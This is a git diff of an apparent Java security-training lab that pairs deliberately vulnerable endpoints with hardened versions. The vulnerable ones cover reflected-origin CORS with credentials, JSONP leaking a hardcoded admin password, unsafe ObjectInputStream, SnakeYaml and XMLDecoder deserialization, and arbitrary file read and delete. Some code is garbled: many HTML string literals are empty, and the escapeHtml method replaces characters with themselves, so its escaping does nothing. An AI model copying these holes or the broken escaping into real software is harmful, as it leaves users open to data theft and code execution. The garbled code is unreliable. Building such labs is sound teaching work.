RequestMethod.OPTIONS}) @ResponseBody public R corsVul(HttpServletRequest request, HttpServletResponse response) { - String origin = request.getHeader("origin"); + String origin = request.getHeader("Origin"); if (origin != null) { response.setHeader("Access-Control-Allow-Origin", origin); @@ -47,23 +57,33 @@ public R corsVul(HttpServletRequest request, HttpServletResponse response) { // 允许携带 Cookie 或其他凭证 response.setHeader("Access-Control-Allow-Credentials", "true"); response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS"); + response.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Requested-With"); + response.setHeader("Vary", "Origin"); return R.ok("CORS漏洞演示:username:admin,password:Admin123"); } - @CrossOrigin(origins = {"http://127.0.0.1:8080", "https://127.0.0.1:8080"}, allowCredentials = "true") - @GetMapping("/corsSafe") + + @RequestMapping(value = "/corsSafe", method = {RequestMethod.GET, RequestMethod.OPTIONS}) @ResponseBody public R corsSafe(HttpServletRequest request, HttpServletResponse response) { - // 记录安全 CORS 请求来源 - String origin = request.getHeader("origin"); - // 允许携带凭证,但前提是 `Access-Control-Allow-Origin` 与可信来源匹配 + String origin = request.getHeader("Origin"); + response.setHeader("Vary", "Origin"); + if (origin == null) { + return R.ok("同源请求不需要CORS响应头"); + } + if (!TRUSTED_ORIGINS.contains(origin)) { + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + return R.error(HttpServletResponse.SC_FORBIDDEN, "Origin不在CORS白名单"); + } + response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); - + response.setHeader("Access-Control-Allow-Methods", "GET, OPTIONS"); + response.setHeader("Access-Control-Allow-Headers", "Content-Type"); return R.ok("配置CORS可信源白名单"); } @GetMapping("/jsonpVul") - public void jsonpVul(HttpServletRequest request, HttpServletResponse response) throws IOException, java.io.IOException { + public void jsonpVul(HttpServletRequest request, HttpServletResponse response) throws IOException { String callback = request.getParameter("callback"); String sensitiveData = "{\"username\":\"admin\",\"password\":\"Admin123\"}"; @@ -71,25 +91,26 @@ public void jsonpVul(HttpServletRequest request, HttpServletResponse response) t String jsonpResponse = callback + "(" + sensitiveData + ");"; // 设置响应类型为 JavaScript 脚本 - response.setContentType("application/javascript"); + response.setContentType("application/javascript;charset=UTF-8"); response.getWriter().write(jsonpResponse); } @GetMapping("/jsonpSafe") - public void jsonpSafe(HttpServletRequest request, HttpServletResponse response) throws IOException, java.io.IOException { + public void jsonpSafe(HttpServletRequest request, HttpServletResponse response) throws IOException { String callback = request.getParameter("callback"); // 校验回调函数名是否合法 - if (callback == null || !callback.matches("^[a-zA-Z_$][a-zA-Z0-9_$]*$")) { + if (callback == null || !JSONP_CALLBACK_PATTERN.matcher(callback).matches()) { response.setStatus(HttpServletResponse.SC_BAD_REQUEST); response.getWriter().write("Invalid callback"); return; } - String sensitiveData = "{\"username\":\"admin\",\"password\":\"Admin123\"}"; - response.setContentType("application/javascript"); - response.getWriter().write(callback + "(" + sensitiveData + ");"); + String publicData = "{\"message\":\"public data only\"}"; + response.setContentType("application/javascript;charset=UTF-8"); + response.setHeader("X-Content-Type-Options", "nosniff"); + response.getWriter().write(callback + "(" + publicData + ");"); } diff --git a/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java b/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java index dea2a5f..141586a 100644 --- a/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java +++ b/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java @@ -13,6 +13,10 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; +import java.net.URI; +import java.net.URISyntaxException; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; import java.util.HashMap; import java.util.Map; import java.util.UUID; @@ -80,12 +84,12 @@ public Map getCsrfToken(HttpSession session, Model model) { @GetMapping("/safe1") @ResponseBody - public Map safe1(@RequestParam("receiver") String receiver,@RequestParam("amount") String amount,@AuthenticationPrincipal UserDetails userDetails,@RequestParam("csrfToken") String csrfToken,HttpSession session) { + public Map safe1(@RequestParam("receiver") String receiver, @RequestParam("amount") String amount, @AuthenticationPrincipal UserDetails userDetails, @RequestParam(value = "csrfToken", required = false) String csrfToken, HttpSession session) { String currentUser = userDetails.getUsername(); String sessionToken = (String) session.getAttribute("csrfToken"); Map result = new HashMap<>(); - if (!csrfToken.equals(sessionToken)) { + if (!constantTimeEquals(csrfToken, sessionToken)) { result.put("success", false); result.put("message", "Token失效!"); return result; @@ -102,10 +106,13 @@ public Map safe1(@RequestParam("receiver") String receiver,@Requ public Map safe2(HttpServletRequest request, @RequestParam("receiver") String receiver, @RequestParam("amount") String amount, @AuthenticationPrincipal UserDetails userDetails, HttpSession session) { String currentUser = userDetails.getUsername(); Map result = new HashMap<>(); - String referer = request.getHeader("referer"); - if (referer == null || !referer.startsWith("http://127.0.0.1")) { + String originOrReferer = request.getHeader("Origin"); + if (originOrReferer == null) { + originOrReferer = request.getHeader("Referer"); + } + if (!isTrustedSameOrigin(request, originOrReferer)) { result.put("success", false); - result.put("message", "referer无效!"); + result.put("message", "Origin/Referer无效!"); return result; } result.put("currentUser", currentUser); @@ -114,4 +121,40 @@ public Map safe2(HttpServletRequest request, @RequestParam("rece return result; } + private boolean constantTimeEquals(String requestToken, String sessionToken) { + if (requestToken == null || sessionToken == null) { + return false; + } + return MessageDigest.isEqual( + requestToken.getBytes(StandardCharsets.UTF_8), + sessionToken.getBytes(StandardCharsets.UTF_8) + ); + } + + private boolean isTrustedSameOrigin(HttpServletRequest request, String originOrReferer) { + if (originOrReferer == null) { + return false; + } + try { + URI uri = new URI(originOrReferer); + String expectedScheme = request.getScheme(); + String expectedHost = request.getServerName(); + int expectedPort = request.getServerPort(); + int actualPort = uri.getPort() == -1 ? defaultPort(uri.getScheme()) : uri.getPort(); + + return expectedScheme.equalsIgnoreCase(uri.getScheme()) + && expectedHost.equalsIgnoreCase(uri.getHost()) + && expectedPort == actualPort; + } catch (URISyntaxException e) { + return false; + } + } + + private int defaultPort(String scheme) { + if ("https".equalsIgnoreCase(scheme)) { + return 443; + } + return 80; + } + } diff --git a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java index f49db0f..8be779e 100644 --- a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java +++ b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java @@ -10,6 +10,7 @@ import top.whgojp.modules.sqli.entity.Sqli; import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; import java.util.Base64; /** @@ -30,23 +31,43 @@ public String readObject(){ return "vul/deserialize/readObject"; } +// @RequestMapping("/vul") +// @ResponseBody +// public R vul(String payload) { +// System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); +// log.info("Java反序列化:"+payload); +// try { +// payload = payload.replace(" ", "+"); +// byte[] bytes = Base64.getDecoder().decode(payload); +// ByteArrayInputStream stream = new ByteArrayInputStream(bytes); +// java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); +// in.readObject(); +// in.close(); +// return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); +// } catch (Exception e) { +// return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); +// } +// } @RequestMapping("/vul") @ResponseBody public R vul(String payload) { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); - log.info("Java反序列化:"+payload); + log.info("Java反序列化:" + payload); try { - payload = payload.replace(" ", "+"); - byte[] bytes = Base64.getDecoder().decode(payload); - ByteArrayInputStream stream = new ByteArrayInputStream(bytes); - java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); - in.readObject(); - in.close(); - return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); + byte[] bytes = decodePayload(payload); + Object obj; + try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) { + obj = in.readObject(); + } + log.info("反序列化对象:" + obj.toString()); + return R.ok("[+]Java反序列化:"+obj); } catch (Exception e) { - return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); + return R.error("[-] 请输入正确的 Payload!\n" + e.getMessage()); } } + + + @RequestMapping("/safe1") @ResponseBody public R safe1(String payload) { @@ -54,13 +75,11 @@ public R safe1(String payload) { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false"); log.info("Java反序列化:"+payload); try { - payload = payload.replace(" ", "+"); - byte[] bytes = Base64.getDecoder().decode(payload); - ByteArrayInputStream stream = new ByteArrayInputStream(bytes); - java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); - in.readObject(); - in.close(); - return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); + byte[] bytes = decodePayload(payload); + try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) { + in.readObject(); + } + return R.ok("[+]Java反序列化:禁用Commons Collections不安全反序列化开关"); } catch (Exception e) { return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); } @@ -70,23 +89,29 @@ public R safe1(String payload) { public R safe2(String payload) { log.info("Java反序列化:"+payload); try { - payload = payload.replace(" ", "+"); - byte[] bytes = Base64.getDecoder().decode(payload); - ByteArrayInputStream stream = new ByteArrayInputStream(bytes); + byte[] bytes = decodePayload(payload); // 创建 ValidatingObjectInputStream 对象 - ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream); - // 设置拒绝反序列化的类 - ois.reject(java.lang.Runtime.class); - ois.reject(java.lang.ProcessBuilder.class); - // 只允许反序列化Sqli类 - ois.accept(Sqli.class); - ois.readObject(); + try (ValidatingObjectInputStream ois = new ValidatingObjectInputStream(new ByteArrayInputStream(bytes))) { + // 设置拒绝反序列化的类 + ois.reject(java.lang.Runtime.class); + ois.reject(java.lang.ProcessBuilder.class); + // 只允许反序列化Sqli类 + ois.accept(Sqli.class); + ois.readObject(); + } return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); } catch (Exception e) { return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); } } + private byte[] decodePayload(String payload) { + if (payload == null || payload.trim().isEmpty()) { + throw new IllegalArgumentException("Payload不能为空"); + } + return Base64.getDecoder().decode(payload.replace(" ", "+")); + } + /** * 反序列测试 * @param args diff --git a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java index 20d5592..777f648 100644 --- a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java +++ b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java @@ -32,20 +32,30 @@ public String snakeYaml(){ @RequestMapping("/vul") @ResponseBody public R vul(String payload) { - Yaml y = new Yaml(); - y.load(payload); - return R.ok("[+]Java反序列化:SnakeYaml原生漏洞"); + try { + log.info("payload:" + payload); + if (payload == null || payload.trim().isEmpty()) { + return R.error("Payload不能为空"); + } + Yaml y = new Yaml(); + Object result = y.load(payload); + return R.ok("[+]Java反序列化:SnakeYaml原生漏洞,解析结果:" + result); + } catch (Exception e) { + log.error("SnakeYaml反序列化失败", e); + return R.error("[-]Java反序列化:SnakeYaml反序列化失败:" + e.getMessage()); + } } - @PostMapping("/safe") + @RequestMapping("/safe") @ResponseBody - public R safe(String payload) { + public R safe(@RequestParam(required = false, defaultValue = "name: JavaSecLab") String payload) { try { Yaml y = new Yaml(new SafeConstructor()); - y.load(payload); - return R.ok("[+]Java反序列化:SnakeYaml安全构造"); + Object result = y.load(payload); + return R.ok("[+]Java反序列化:SnakeYaml安全构造,解析结果:" + result); } catch (Exception e) { - return R.error("[-]Java反序列化:SnakeYaml反序列化失败"); + log.error("SnakeYaml安全解析失败", e); + return R.error("[-]Java反序列化:SnakeYaml反序列化失败:" + e.getMessage()); } } diff --git a/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java b/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java index 11e948c..31a3ae6 100644 --- a/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java +++ b/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java @@ -37,7 +37,10 @@ public String xmlDecoder() { @RequestMapping("/vul") @ResponseBody - public R vul(String payload) { + public R vul(@RequestParam(required = false) String payload) { + if (payload == null || payload.trim().isEmpty()) { + return R.error("Payload不能为空"); + } String[] strCmd = payload.split(" "); StringBuilder xml = new StringBuilder() .append("") @@ -61,7 +64,10 @@ public R vul(String payload) { @RequestMapping("/safe") @ResponseBody - public R safe(@RequestParam String payload) { + public R safe(@RequestParam(required = false) String payload) { + if (payload == null || payload.trim().isEmpty()) { + return R.error("Payload不能为空"); + } try { // 构建 XML 字符串 StringBuilder xml = new StringBuilder() diff --git a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java index 098ecb5..713a0c7 100644 --- a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java +++ b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java @@ -10,11 +10,11 @@ import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import top.whgojp.common.constant.SysConstant; -import top.whgojp.common.utils.CheckUserInput; -import top.whgojp.common.utils.R; -import top.whgojp.common.utils.UploadUtil; import java.io.File; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; /** * @description 任意文件类-文件删除 @@ -59,11 +59,19 @@ public String vul(@RequestParam("filePath") String filePath) { @ResponseBody @SneakyThrows public String safe(@RequestParam("fileName") String fileName) { - String baseDir = sysConstant.getUploadFolder(); // 限制删除文件所在目录为 /static/upload/下 - File file = new File(baseDir, fileName); + String baseDir = sysConstant.getUploadFolder(); + Path basePath = Paths.get(baseDir).toRealPath(); + Path filePath = basePath.resolve(fileName).normalize(); + if (!filePath.startsWith(basePath)) { + return "访问被拒绝:文件路径不合法"; + } boolean deleted = false; - if (file.exists() && file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) { - deleted = file.delete(); + if (Files.isRegularFile(filePath)) { + Path realFilePath = filePath.toRealPath(); + if (!realFilePath.startsWith(basePath)) { + return "访问被拒绝:文件真实路径不合法"; + } + deleted = Files.deleteIfExists(filePath); } if (deleted) { return "文件删除成功: " + fileName; diff --git a/src/main/java/top/whgojp/modules/file/controller/DownloadController.java b/src/main/java/top/whgojp/modules/file/controller/DownloadController.java index 099d9b1..8a4a6db 100644 --- a/src/main/java/top/whgojp/modules/file/controller/DownloadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/DownloadController.java @@ -12,6 +12,7 @@ import javax.servlet.http.HttpServletResponse; import java.io.*; +import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; @@ -63,16 +64,20 @@ public void safe(@RequestParam("fileName") String fileName, HttpServletResponse response.sendError(HttpServletResponse.SC_BAD_REQUEST, "非法文件名:" + fileName); return; } - File file = new File(baseDir, fileName); - if (file.exists() && file.isFile() && file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) { + Path basePath = Paths.get(baseDir).toRealPath(); + Path filePath = basePath.resolve(fileName).normalize(); + if (filePath.startsWith(basePath) && Files.isRegularFile(filePath)) { + Path realFilePath = filePath.toRealPath(); + if (!realFilePath.startsWith(basePath)) { + response.sendError(HttpServletResponse.SC_FORBIDDEN, "文件真实路径不合法:" + fileName); + return; + } response.setContentType("application/octet-stream"); - response.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\""); - try (FileInputStream fis = new FileInputStream(file); + response.setHeader("Content-Disposition", "attachment; filename=\"" + realFilePath.getFileName().toString() + "\""); + try (InputStream fis = Files.newInputStream(realFilePath); OutputStream os = response.getOutputStream()) { StreamUtils.copy(fis, os); os.flush(); - } catch (FileNotFoundException e) { - throw new RuntimeException(e); } catch (IOException e) { throw new RuntimeException(e); } diff --git a/src/main/java/top/whgojp/modules/file/controller/ReadController.java b/src/main/java/top/whgojp/modules/file/controller/ReadController.java index 8008e64..7d97b86 100644 --- a/src/main/java/top/whgojp/modules/file/controller/ReadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/ReadController.java @@ -4,16 +4,10 @@ import io.swagger.annotations.ApiOperation; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import lombok.var; -import org.apache.commons.io.FilenameUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; import top.whgojp.common.constant.SysConstant; -import top.whgojp.common.utils.CheckUserInput; -import top.whgojp.common.utils.R; -import top.whgojp.common.utils.UploadUtil; import java.io.File; import java.io.IOException; @@ -21,6 +15,7 @@ import java.nio.file.Path; import java.nio.file.Paths; import java.util.stream.Collectors; +import java.util.stream.Stream; /** * @description 任意文件类-文件读取 @@ -50,7 +45,7 @@ public String vul(@RequestParam("fileName") String fileName) throws IOException if (file.exists() && file.isFile()) { Path filePath = file.toPath(); // 使用 BufferedReader 和流 API 逐行读取文件 - try (var lines = Files.lines(filePath)) { + try (Stream lines = Files.lines(filePath)) { return lines .map(line -> line + "
") .collect(Collectors.joining()); @@ -68,14 +63,18 @@ public String vul(@RequestParam("fileName") String fileName) throws IOException @ResponseBody public String safe(@RequestParam("fileName") String fileName) throws IOException { String baseDir = sysConstant.getUploadFolder(); - Path filePath = Paths.get(baseDir, fileName).normalize(); - // 确保文件路径在允许的目录中 - if (!filePath.startsWith(Paths.get(baseDir))) { + Path basePath = Paths.get(baseDir).toRealPath(); + Path filePath = basePath.resolve(fileName).normalize(); + // 先标准化路径,再确认目标文件仍位于允许目录内。 + if (!filePath.startsWith(basePath)) { return "访问被拒绝:文件路径不合法"; } - File file = filePath.toFile(); - if (file.exists() && file.isFile()) { - return new String(Files.readAllBytes(file.toPath())); + if (Files.isRegularFile(filePath)) { + Path realFilePath = filePath.toRealPath(); + if (!realFilePath.startsWith(basePath)) { + return "访问被拒绝:文件真实路径不合法"; + } + return new String(Files.readAllBytes(realFilePath)); } else { return "文件不存在或路径不正确:" + fileName; } diff --git a/src/main/java/top/whgojp/modules/file/controller/UploadController.java b/src/main/java/top/whgojp/modules/file/controller/UploadController.java index 8a05821..081dd66 100644 --- a/src/main/java/top/whgojp/modules/file/controller/UploadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/UploadController.java @@ -13,7 +13,12 @@ import top.whgojp.common.utils.R; import top.whgojp.common.utils.UploadUtil; +import javax.imageio.ImageIO; import javax.servlet.http.HttpServletRequest; +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.io.InputStream; +import java.util.Locale; /** * @description 任意文件类-文件上传 @@ -60,11 +65,34 @@ public R safe(@RequestParam("file") MultipartFile file, HttpServletRequest reque if (!checkUserInput.checkFileSuffixWhiteList(suffix)){ return R.error("只能上传图片哦!"); } + if (!isAllowedImageContent(file, suffix)) { + return R.error("文件内容与图片类型不匹配!"); + } String path = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + "/file/"; res = uploadUtil.uploadFile(file, suffix, path); return R.ok(res); } + private boolean isAllowedImageContent(MultipartFile file, String suffix) throws IOException { + String normalizedSuffix = suffix.toLowerCase(Locale.ROOT); + if ("ico".equals(normalizedSuffix)) { + try (InputStream inputStream = file.getInputStream()) { + byte[] header = new byte[4]; + if (inputStream.read(header) != header.length) { + return false; + } + return header[0] == 0 && header[1] == 0 && header[2] == 1 && header[3] == 0; + } + } + try (InputStream inputStream = file.getInputStream()) { + BufferedImage image = ImageIO.read(inputStream); + return image != null; + } catch (IOException e) { + log.warn("图片内容校验失败:{}", e.getMessage()); + return false; + } + } + // 返回JSP视图 @GetMapping("/jsp") diff --git a/src/main/java/top/whgojp/modules/funny/controller/HijackController.java b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java new file mode 100644 index 0000000..ff3e9a9 --- /dev/null +++ b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java @@ -0,0 +1,26 @@ +package top.whgojp.modules.funny.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.RequestMapping; + +/** + * @description <功能描述> + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2025/1/17 16:31 + */ +@Slf4j +@Api(value = "HijackController", tags = "劫持模块") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/funny/hijack") +public class HijackController { + @RequestMapping() + public String hijack(){ + return "vul/funny/hijack"; + } + +} diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/CeshiController.java b/src/main/java/top/whgojp/modules/infoleak/controller/CeshiController.java index 214c0a8..2b03f8c 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/CeshiController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/CeshiController.java @@ -11,6 +11,8 @@ import java.io.BufferedReader; import java.io.InputStreamReader; +import java.util.concurrent.TimeUnit; +import java.util.regex.Pattern; /** * @description 敏感信息泄漏-测试页面 @@ -24,6 +26,8 @@ @CrossOrigin(origins = "*") @RequestMapping("/infoLeak/ceShiPage") public class CeshiController { + private static final Pattern SAFE_HOST_PATTERN = Pattern.compile("^[A-Za-z0-9.-]{1,253}$"); + @RequestMapping("") public String CeShi() { return "vul/infoleak/ceshi"; @@ -58,4 +62,36 @@ public String ping(@RequestParam(name = "ip", required = false) String ip, Model return "vul/infoleak/ping"; } + @GetMapping("/safePing") + public String safePing(@RequestParam(name = "ip", required = false) String ip, Model model) { + String result = ""; + if (ip != null && !ip.isEmpty()) { + if (!SAFE_HOST_PATTERN.matcher(ip).matches() || ip.contains("..")) { + result = "非法目标地址"; + } else { + try { + Process process = new ProcessBuilder("ping", "-c", "4", ip).start(); + boolean finished = process.waitFor(5, TimeUnit.SECONDS); + if (!finished) { + process.destroyForcibly(); + result = "Ping执行超时"; + } else { + BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); + String line; + StringBuilder output = new StringBuilder(); + while ((line = reader.readLine()) != null) { + output.append(line).append("\n"); + } + reader.close(); + result = output.toString(); + } + } catch (Exception e) { + result = "Error: " + e.getMessage(); + } + } + } + model.addAttribute("safeResult", result); + return "vul/infoleak/ping"; + } + } diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java b/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java index d8afe06..fc2d05b 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java @@ -10,9 +10,13 @@ import java.io.File; import java.io.IOException; +import java.net.URISyntaxException; import java.net.URLDecoder; +import java.net.URLEncoder; +import java.nio.file.Path; import java.nio.charset.StandardCharsets; import java.util.Arrays; +import java.util.Comparator; /** * @description 敏感信息泄漏-目录遍历 @@ -37,66 +41,18 @@ public String DirTraversal() { @GetMapping("/vul") @ResponseBody - public String vul(@RequestParam String dir) { - String staticFolderPath = sysConstant.getStaticFolder(); - File baseDir = new File(staticFolderPath); + public String vul(@RequestParam(defaultValue = "/") String dir) { + File baseDir = resolveStaticBaseDir(); File requestedDir = new File(baseDir, dir); - // 生成HTML输出 - StringBuilder response = new StringBuilder(); - response.append(""); - response.append(""); - response.append(""); - response.append(""); - response.append("Directory listing for ").append(dir).append(""); - response.append(""); - response.append(""); - response.append(""); - response.append("

Directory listing for ").append(dir).append("

"); - response.append("
"); - response.append("
    "); - - File[] files = requestedDir.listFiles(); - if (files != null) { - for (File file : files) { - response.append("
  • "); - if (file.isDirectory()) { - response.append("").append(file.getName()).append("/"); - } else { - response.append("").append(file.getName()).append(""); - } - response.append("
  • "); - } - } else { - response.append("Failed to list contents of the directory."); - } - - response.append("
"); - response.append("
"); - response.append(""); - response.append(""); - return response.toString(); + return renderDirectoryListing(dir, requestedDir, false); } @GetMapping("/safe1") @ResponseBody @SneakyThrows - public String safe1(@RequestParam String dir) { - String staticFolderPath = sysConstant.getStaticFolder(); - File baseDir = new File(staticFolderPath); + public String safe1(@RequestParam(defaultValue = "/") String dir) { + File baseDir = resolveStaticBaseDir(); String decodedDir = URLDecoder.decode(dir, StandardCharsets.UTF_8.name()); @@ -106,106 +62,90 @@ public String safe1(@RequestParam String dir) { } File requestedDir = new File(baseDir, dir); - - // 生成HTML输出 - StringBuilder response = new StringBuilder(); - response.append(""); - response.append(""); - response.append(""); - response.append(""); - response.append("Directory listing for ").append(dir).append(""); - response.append(""); - response.append(""); - response.append(""); - response.append("

Directory listing for ").append(dir).append("

"); - response.append("
"); - response.append("
    "); - - File[] files = requestedDir.listFiles(); - if (files != null) { - for (File file : files) { - response.append("
  • "); - if (file.isDirectory()) { - response.append("").append(file.getName()).append("/"); - } else { - response.append("").append(file.getName()).append(""); - } - response.append("
  • "); - } - } else { - response.append("Failed to list contents of the directory."); - } - - response.append("
"); - response.append("
"); - response.append(""); - response.append(""); - return response.toString(); + return renderDirectoryListing(dir, requestedDir, false); } + @GetMapping("/safe2") @ResponseBody - public String safe2(@RequestParam String dir) { - String staticFolderPath = sysConstant.getStaticFolder(); - File baseDir = new File(staticFolderPath); - File requestedDir = new File(baseDir, dir); + public String safe2(@RequestParam(defaultValue = "/") String dir) { + File baseDir = resolveStaticBaseDir(); + String relativeDir = normalizeRelativeDir(dir); // 检查请求的目录是否在规定目录内 try { - if (!requestedDir.getCanonicalPath().startsWith(baseDir.getCanonicalPath()) || !requestedDir.isDirectory()) { + Path basePath = baseDir.getCanonicalFile().toPath(); + File requestedDir = new File(baseDir, relativeDir); + Path requestedPath = requestedDir.getCanonicalFile().toPath(); + if (!requestedPath.startsWith(basePath) || !requestedDir.isDirectory()) { return "Directory not found or access denied."; } + return renderDirectoryListing(dir, requestedDir, true); } catch (IOException e) { return "Error resolving directory path."; } + } + + private File resolveStaticBaseDir() { + File configuredDir = new File(sysConstant.getStaticFolder()); + if (configuredDir.isDirectory() && hasVisibleFiles(configuredDir)) { + return configuredDir; + } - // 生成HTML输出 + try { + java.net.URL resource = getClass().getClassLoader().getResource("static"); + if (resource != null && "file".equals(resource.getProtocol())) { + return new File(resource.toURI()); + } + } catch (URISyntaxException e) { + log.warn("解析classpath静态目录失败", e); + } + + return configuredDir; + } + + private boolean hasVisibleFiles(File dir) { + File[] files = dir.listFiles(file -> !file.isHidden()); + return files != null && files.length > 0; + } + + private String normalizeRelativeDir(String dir) { + if (dir == null || dir.isEmpty() || "/".equals(dir)) { + return ""; + } + return dir.startsWith("/") ? dir.substring(1) : dir; + } + + private String renderDirectoryListing(String displayDir, File requestedDir, boolean keepInsideBase) { + String normalizedDisplayDir = displayDir == null || displayDir.isEmpty() ? "/" : displayDir; StringBuilder response = new StringBuilder(); response.append(""); response.append(""); response.append(""); response.append(""); - response.append("Directory listing for ").append(dir).append(""); - response.append(""); + response.append("Directory listing for ").append(escapeHtml(normalizedDisplayDir)).append(""); response.append(""); response.append(""); - response.append("

Directory listing for ").append(dir).append("

"); + response.append("

Directory listing for ").append(escapeHtml(normalizedDisplayDir)).append("

"); response.append("
"); response.append("
    "); File[] files = requestedDir.listFiles(); if (files != null) { + Arrays.sort(files, Comparator.comparing(File::isFile).thenComparing(File::getName)); for (File file : files) { response.append("
  • "); + String itemName = file.getName(); + String childDir = appendPath(normalizedDisplayDir, itemName, file.isDirectory()); if (file.isDirectory()) { - response.append("").append(file.getName()).append("/"); + response.append("") + .append(escapeHtml(itemName)).append("/"); } else { - response.append("") + .append(escapeHtml(itemName)).append(""); } - response.append(file.getName()).append("');\">").append(file.getName()).append(""); } response.append("
  • "); } @@ -219,4 +159,28 @@ public String safe2(@RequestParam String dir) { response.append(""); return response.toString(); } + + private String appendPath(String dir, String name, boolean directory) { + String prefix = (dir == null || dir.isEmpty() || "/".equals(dir)) ? "/" : dir + (dir.endsWith("/") ? "" : "/"); + return prefix + name + (directory ? "/" : ""); + } + + private String urlEncode(String value) { + try { + return URLEncoder.encode(value, StandardCharsets.UTF_8.name()).replace("+", "%20"); + } catch (java.io.UnsupportedEncodingException e) { + throw new IllegalStateException("UTF-8 encoding is not supported", e); + } + } + + private String escapeHtml(String value) { + if (value == null) { + return ""; + } + return value.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace("\"", """) + .replace("'", "'"); + } } diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java index 2a0a546..184db1a 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java @@ -28,7 +28,7 @@ public String hardCoding(){ } @RequestMapping("/loginSuccess") public String loginSuccess(){ - return "/vul/infoleak/loginSuccess"; + return "vul/infoleak/loginSuccess"; } } diff --git a/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java index 7e8ff96..3b129d5 100644 --- a/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java +++ b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java @@ -160,7 +160,7 @@ public void safeImg(HttpSession session, HttpServletResponse response) throws Ex @ResponseBody public R safe(String username, String password, String captcha, HttpSession session) { String sessionCaptcha = (String) session.getAttribute("safeCaptcha"); - Long captchaTimestamp = (Long) session.getAttribute("captchaCreationTime"); + Long captchaTimestamp = (Long) session.getAttribute("captchaTimestamp"); // 验证验证码是否已失效(1分钟有效) if (captchaTimestamp == null || 